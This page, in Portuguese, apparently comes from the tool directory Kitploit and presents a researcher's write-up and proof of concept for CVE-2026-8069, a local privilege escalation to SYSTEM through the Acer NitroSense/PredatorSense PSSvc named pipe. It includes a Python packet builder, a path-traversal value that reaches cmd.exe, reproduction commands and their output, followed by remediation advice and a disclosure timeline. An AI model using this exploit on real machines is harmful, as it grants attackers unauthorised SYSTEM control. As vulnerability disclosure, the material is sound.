Skip to content
KitploitKITPLOIT
FerramentasExploitsBlog
Log in
Enviar
FerramentasExploitsBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
CVE-2026-8069 — Write-up técnico e prova de conceito para CVE-2026-8069, uma escalada local de privilégios nos serviços Acer NitroSense e PredatorSense, explorando um named pipe para executar código arbitrário como SYSTEM. | Kitploit
Ferramentas/GitHubGitHub/s1eezer/cve-2026-8069
Escalada de PrivilégiosFrameworks de ExploraçãoAnálise de VulnerabilidadesExploraçãoEngenharia ReversaAnálise de Binários
GitHubs1eezer/cve-2026-8069

CVE-2026-8069

Write-up técnico e prova de conceito para CVE-2026-8069, uma escalada local de privilégios nos serviços Acer NitroSense e PredatorSense, explorando um named pipe para executar código arbitrário como SYSTEM.

Ver Repositório
13há 20 diasAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

De um Named Pipe da Acer a NT AUTHORITY\SYSTEM: CVE-2026-8069

O Acer NitroSense e o PredatorSense 3.x instalaram um serviço Windows chamado PSSvc que expunha um protocolo de named pipe personalizado a utilizadores locais. Um comando do protocolo aceitava um caminho de executável controlado pelo chamador, duplicava o token de winlogon.exe e iniciava esse executável como NT AUTHORITY\SYSTEM.

A restrição de caminho no serviço vulnerável era um teste de substring. Um caminho que começava dentro do diretório do serviço e depois usava componentes ..\ passava no teste, mas resolvia para outro local. Combinado com o controlo de acesso permissivo do pipe e a ausência de autorização do chamador, isto permitia que um utilizador local padrão obtivesse um processo SYSTEM.

A Acer atribuiu CVE-2026-8069, publicou correções e creditou Artem Domarev da Universidade de Hradec Králové no seu aviso de segurança.

Este artigo foca-se no caminho de criação de processo/LPE. O aviso da Acer também descreve a eliminação arbitrária de ficheiros, que estava fora do âmbito desta validação.

Porque escolhi esta direção de investigação

A escolha da direção de investigação também foi influenciada por uma análise pública de software OEM publicada por Leon Jacobs da SensePost. Esse trabalho documentou vulnerabilidades no ASUS DriverHub, MSI Center, Acer Control Centre e Razer Synapse 4 (Jacobs, 2025). Reforçou a ideia de que utilitários de hardware fornecidos pelos fornecedores podem expor uma superfície de ataque significativa e pouco explorada. Em vez de revisitar o Acer Control Centre, estendi a investigação a uma família de produtos diferente da Acer: NitroSense e PredatorSense.

Resumo executivo

A cadeia de exploração é curta:

root@kitploit:~
utilizador local autenticado
        │
        ▼
named pipe permissivo do PSSvc
        │  comando personalizado 0x0007
        ▼
verificação de caminho apenas por substring
        │  service-dir\..\..\..\Windows\System32\cmd.exe
        ▼
duplicar token do winlogon.exe da sessão ativa
        │
        ▼
CreateProcessAsUserW → NT AUTHORITY\SYSTEM

Um aviso sobre o número de versão

Existe uma inconsistência na redação pública. A página da Acer afirma que as versões do NitroSense "anteriores a 3.01.3052" são afetadas, mas o PSSvc.exe versão 3.1.3052.0 assinado pelo fornecedor e testado para este artigo é demonstravelmente vulnerável. A mesma página identifica o NitroSense 3.01.3056 como a versão corrigida. O intervalo de aplicabilidade da NVD também se estende até, mas não incluindo, 3.01.3056.

Para o PredatorSense, a frase de versões afetadas da Acer termina antes de 3.00.3196, enquanto a versão corrigida listada é 3.00.3198 e a NVD usa esta última como limite superior.

A regra operacional conservadora é, portanto, simples: não use a frase ambígua "afetado" como verificação de patch. Atualize para pelo menos as versões corrigidas que a Acer nomeia — PredatorSense 3.00.3198 ou NitroSense 3.01.3056 — ou um pacote mais recente compatível com o modelo.

Artefactos testados

O problema foi reproduzido com o pacote original do NitroSense.

A assinatura Authenticode do PSSvc.exe foi validada com sucesso e encadeada até à Acer Incorporated. O MSI instalou o PSSvc como um serviço de processo próprio com início sob demanda, a executar como LocalSystem.

Como encontrei o caminho vulnerável

1. Começar pelo serviço privilegiado

O pacote NitroSense instala:

root@kitploit:~
SERVICE_NAME: PSSvc
DISPLAY_NAME: Predator Service
TYPE:         WIN32_OWN_PROCESS
START_TYPE:   DEMAND_START
ACCOUNT:      LocalSystem

Um serviço SYSTEM não é automaticamente vulnerável. A questão importante é se um processo com privilégios inferiores consegue alcançar funcionalidade que foi concebida sob o pressuposto de que o seu chamador é confiável.

A análise de strings expôs imediatamente o endpoint IPC:

root@kitploit:~
\\.\pipe\predatorsense_service_namedpipe

2. Inspecionar o descritor de segurança do named pipe

Em 0x140014AD0, o serviço constrói o pipe e passa um descritor de segurança explícito a CreateNamedPipeW:

root@kitploit:~
D:(A;OICI;GA;;;BG)(D;OICI;GA;;;AN)(A;OICI;GRGWGX;;;AU)(A;OICI;GA;;;BA)

Isto merece uma correção explícita: a versão vulnerável não passa um descritor NULL. Ela cria uma DACL permissiva.

A ACE AU é suficiente para que um utilizador autenticado normal abra o pipe para leitura e escrita. O servidor não faz depois impersonação do cliente nem toma uma decisão de autorização antes de despachar comandos privilegiados.

3. Recuperar o formato do protocolo

O thread cliente em 0x14000ABB0 lê mensagens para um buffer de 512 bytes. Ele analisa os primeiros três bytes como um número de comando de 16 bits e uma contagem de argumentos de 8 bits. Cada argumento tem prefixo de comprimento:

root@kitploit:~
Offset  Tamanho  Significado
0x00    2        ID do comando, little-endian
0x02    1        número de argumentos
0x03    4        comprimento do argumento 0
0x07    n        bytes do argumento 0
...           DWORD de comprimento repetido + valor

Os argumentos de string são UTF-16LE. Os argumentos inteiros são DWORDs little-endian. O dispatcher aceita IDs de comando abaixo de 0x23 e usa-os como índices numa tabela de funções com 35 entradas em 0x140052C90.

A entrada para o comando 0x0007 aponta para 0x14000BFD0.

4. Seguir o comando 0x0007

Reduzido ao seu comportamento relevante para a segurança, o handler tem esta aparência:

root@kitploit:~
int command_07(parsed_arguments *args)
{
    wchar_t service_directory[MAX_PATH];
    wchar_t *requested_path = args->wide_string[0];
    uint32_t mode = args->dword[1];

    GetModuleFileNameW(NULL, service_directory, MAX_PATH);
    PathRemoveFileSpecW(service_directory);

    if (wcsstr(requested_path, service_directory) != NULL)
        return launch_with_selected_token(requested_path, mode);

    return 0;
}

wcsstr responde apenas se uma string ocorre dentro de outra. Não canonicaliza um caminho, não resolve segmentos de ponto, não abre um ficheiro, nem prova que o objeto final permanece sob um diretório confiável.

Assuma que o serviço está instalado em:

root@kitploit:~
C:\Program Files\Acer\NitroSense_Service

O seguinte caminho contém esse diretório no offset zero, portanto wcsstr tem sucesso:

root@kitploit:~
C:\Program Files\Acer\NitroSense_Service\..\..\..\WINDOWS\System32\cmd.exe

O Windows resolve os segmentos de ponto para:

root@kitploit:~
C:\WINDOWS\System32\cmd.exe

Isto é um erro clássico de canonicalização: a validação é realizada numa representação textual, enquanto a operação sensível consome o seu significado normalizado.

5. Rastrear o ramo do token

O helper de lançamento de processo em 0x1400091F0 tem um ramo especial quando o segundo argumento é 0x72 (decimal 114). Ele:

  1. obtém o ID da sessão de consola ativa;
  2. consulta o token do utilizador ativo e cria um bloco de ambiente;
  3. enumera processos com CreateToolhelp32Snapshot;
  4. localiza winlogon.exe na sessão ativa;
  5. abre o processo e o seu token;
  6. duplica o token como token primário;
  7. define o token duplicado como integridade alta; e
  8. inicia o caminho fornecido pelo chamador em winsta0\default.

Os pontos de chamada críticos no binário testado foram:

Isto significa que o comando 0x0007 não está meramente a pedir a um serviço que inicie uma das suas próprias ferramentas confiáveis. Expõe um lançador de processos com token SYSTEM geral a um pipe a que utilizadores comuns podem aceder.

Construir o PoC

O construtor de pacotes essencial é pequeno:

root@kitploit:~
import struct

def build_packet(command_id, *arguments):
    packet = struct.pack("<HB", command_id, len(arguments))
    for argument in arguments:
        if isinstance(argument, str):
            argument = argument.encode("utf-16-le")
        elif isinstance(argument, int):
            argument = struct.pack("<I", argument)
        packet += struct.pack("<I", len(argument)) + argument
    return packet

service_dir = r"C:\Program Files\Acer\NitroSense_Service"
target = service_dir + r"\..\..\..\WINDOWS\System32\cmd.exe"

# O handler espera o caminho, o modo de token e oito ranhuras adicionais.
packet = build_packet(0x0007, target, 0x72, *([b"\x00" * 4] * 8))

O script de validação completo abre o pipe com CreateFileW, define o modo de mensagem, envia este pacote e descodifica a resposta do serviço. Descobre o caminho do serviço instalado em vez de o codificar e verifica o alvo normalizado antes de enviar qualquer coisa.

O script completo usado para este artigo está disponível como acer_cve_2026_8069_poc.py.

Reprodução

Passo 1: Instalar a versão vulnerável

O Setup.exe do fornecedor realiza verificações de hardware e fornece propriedades MSI privadas. Extraí o NitroSense.msi e recuperei essas propriedades do bootstrapper .NET:

root@kitploit:~
$arguments = @(
  '/i', 'C:\Lab\NitroSense.msi',
  'BOOTSTRATOR=1', 'ISDT=0', 'RGBKB=0', 'ICPU=0',
  'BRAND=0', 'ACER=1', 'BRANDNAME=Acer',
  'GPRODUCTNAME=NitroSense_Service',
  '/qn', '/norestart',
  '/l*v', 'C:\Lab\install.log'
)

Start-Process msiexec.exe -ArgumentList $arguments -Wait

Estas propriedades reproduzem o caminho de instalação do bootstrapper em hardware que não passa nas suas verificações de ambiente.

Após a instalação, verifiquei a versão do ficheiro, o SHA-256 e a assinatura, e depois iniciei o serviço de início sob demanda:

root@kitploit:~
sc.exe qc PSSvc
sc.exe start PSSvc

Passo 2: Usar uma conta local padrão

O pedido foi enviado a partir de uma conta local padrão, não administrativa, a executar em integridade média.

Passo 3: Acionar o comando 0x0007

A partir dessa conta:

root@kitploit:~
py .\acer_cve_2026_8069_poc.py --exec-test --target cmd.exe

O serviço devolveu:

root@kitploit:~
[PASS] Connected
[INFO] Sending CMD 0x0007: path='cmd.exe', mode=0x72
       Packet size: 227 bytes

Raw response: 010400000001000000
Return code: 1

[CRITICAL] PROCESS CREATED SUCCESSFULLY

Passo 4: Verificar de forma independente

A mensagem de sucesso do PoC não é a prova por si só. Consultei o processo resultante de forma independente a partir de um canal de evidência administrativo:

root@kitploit:~
Parent      : PSSvc.exe
Session     : Interactive
Owner       : NT AUTHORITY\SYSTEM
CommandLine : "C:\Program Files\Acer\NitroSense_Service\..\..\..\WINDOWS\System32\cmd.exe"

A shell SYSTEM era um filho direto de PSSvc.exe na sessão interativa, com o caminho de travessia preservado na sua linha de comandos.

Também rastreei as APIs do serviço durante o pedido bem-sucedido. O rastreio registou a sessão ativa 1, um WTSQueryUserToken bem-sucedido, um instantâneo de processos, um OpenProcess para o winlogon.exe da sessão, DuplicateTokenEx bem-sucedido, modificação do token de integridade e um retorno de sucesso do helper de lançamento de processo.

A gravação do PoC original mostra cmd.exe pertencente a NT AUTHORITY SYSTEM e whoami a devolver nt authority\system.

Gravação do PoC a mostrar a shell SYSTEM.

Causa raiz

Não foi uma única comparação isolada defeituosa. A exploração exigiu que várias falhas de confiança se alinhassem:

  1. A DACL do pipe permitia que utilizadores autenticados lessem e escrevessem.
  2. O servidor aceitava um comando privilegiado personalizado sem autenticar ou autorizar o cliente.
  3. A lista de permissões de executáveis foi implementada com wcsstr em vez de validação canónica de caminho.
  4. O comando expunha código que duplicava deliberadamente um token altamente privilegiado de winlogon.exe.
  5. O chamador controlava o caminho da aplicação finalmente passado à criação de processo.

Remover qualquer um dos últimos quatro elos teria impedido este caminho de LPE. A defesa em profundidade deve removê-los todos.

Orientações de remediação

A remediação suportada pela Acer é atualizar para PredatorSense 3.00.3198, NitroSense 3.01.3056 ou posterior. Use o pacote que a Acer oferece para o número de série ou SNID da máquina, conforme descrito no aviso do fornecedor.

Para programadores de serviços Windows privilegiados, as lições mais amplas são:

  • Atribua ao pipe a ACL mais restrita possível na prática — normalmente principais específicos do serviço, SYSTEM e administradores — não todos os utilizadores autenticados.
  • Autentique cada cliente e autorize cada comando. O acesso ao pipe por si só não é uma decisão de autorização.
  • Faça impersonação do cliente do pipe ao avaliar quem está a pedir e depois aplique uma política documentada.
  • Canonicalize e resolva um caminho antes da validação. Compare componentes de caminho com regras corretas de limites e maiúsculas/minúsculas e considere pontos de reparse e ligações.
  • Prefira uma lista de permissões de identidades de executáveis imutáveis em vez de um caminho controlado pelo chamador.
  • Não exponha duplicação de tokens ou criação arbitrária de processos através de um dispatcher IPC local de uso geral.
  • Registe comandos rejeitados e informações relevantes para a segurança do chamador sem gravar segredos.

Cronologia de divulgação

DataEvento
2026-02-19Relatório de vulnerabilidade preparado e submetido à Acer.
2026-05-08CVE-2026-8069 publicado no ecossistema CVE/NVD.
2026A Acer publicou o seu aviso, creditou o investigador e nomeou as versões corrigidas do PredatorSense e NitroSense.
2026-08-28Reprodução independente concluída para este artigo.

Considerações finais

Os named pipes locais são fáceis de confundir com limites de confiança. São apenas mecanismos de transporte. Quando um serviço SYSTEM expõe um dispatcher de comandos, a ACL do seu pipe, a autorização do chamador, a validação de argumentos e a implementação privilegiada tornam-se todas parte do limite de segurança.

Aqui, um pipe permissivo alcançou uma rotina de duplicação de tokens, e uma verificação de substring tentou substituir a contenção de caminho. O resultado foi uma transição fiável de um utilizador local padrão para NT AUTHORITY\SYSTEM.

Referências

  • Acer: Informação sobre Vulnerabilidade de Segurança do Software PredatorSense e NitroSense v3
  • Base de Dados de Avisos do GitHub: CVE-2026-8069 / GHSA-67h9-58cf-72hp
  • NVD: CVE-2026-8069
  • CVE.org: CVE-2026-8069
  • Jacobs, L. (2025, 24 de julho). Pwning ASUS DriverHub, MSI Center, Acer Control Centre and Razer Synapse 4. SensePost.

Licença

O artigo e os meios de investigação originais estão licenciados sob Creative Commons Attribution 4.0 International. O código-fonte do PoC está licenciado sob a Licença MIT. Consulte LICENSE.md para o âmbito e exclusões de terceiros.

Baixar ferramenta
ItemResultado
CVECVE-2026-8069
Componente vulnerável testadoPSSvc.exe 3.1.3052.0, assinado pela Acer Incorporated
Identidade do serviçoLocalSystem
Endpoint IPC\\.\pipe\predatorsense_service_namedpipe
Comando vulnerável0x0007
Acesso necessário do atacanteUtilizador local autenticado capaz de executar um programa
Interação do utilizadorNenhuma
ResultadoExecutável arbitrário iniciado como NT AUTHORITY\SYSTEM
CVSS v3.1 da NVD7.8 Alta — AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
Versões corrigidasPredatorSense 3.00.3198; NitroSense 3.01.3056
ArtefactoSHA-256
NitroSense_V3.01.3052_MSFT_SIGNED_20230420.zip947FB7C62665875450AFA9C9E7919D2B061ED8197C11B28D64781F121B30C157
NitroSense.msi6F9D405B6D2ADF2992C4E071453AD2C919A6DD38A89A31EF96EAFE81C50A745C
PSSvc.exe 3.1.3052.0 instalado3BA836B6A5D95B55708E771B74F49098F58B096EF1F63C5CCAE355811E193A40
PoC usado para validação31BC81140BAB64A8B0CB70ACC1C2CF3CA84A7B00015E5610AC075DC50DCB0163
Abreviatura SIDPrincipalPermissão efetiva no SDDL
BGConvidados incorporadosGeneric All
ANAnónimoGeneric All negado
AUUtilizadores autenticadosGeneric Read, Write e Execute
BAAdministradores incorporadosGeneric All
OperaçãoEndereço
CreateToolhelp32Snapshot0x140009298
OpenProcessToken0x140009346
DuplicateTokenEx0x1400093B0
CreateProcessAsUserW0x1400094BF / 0x1400094C7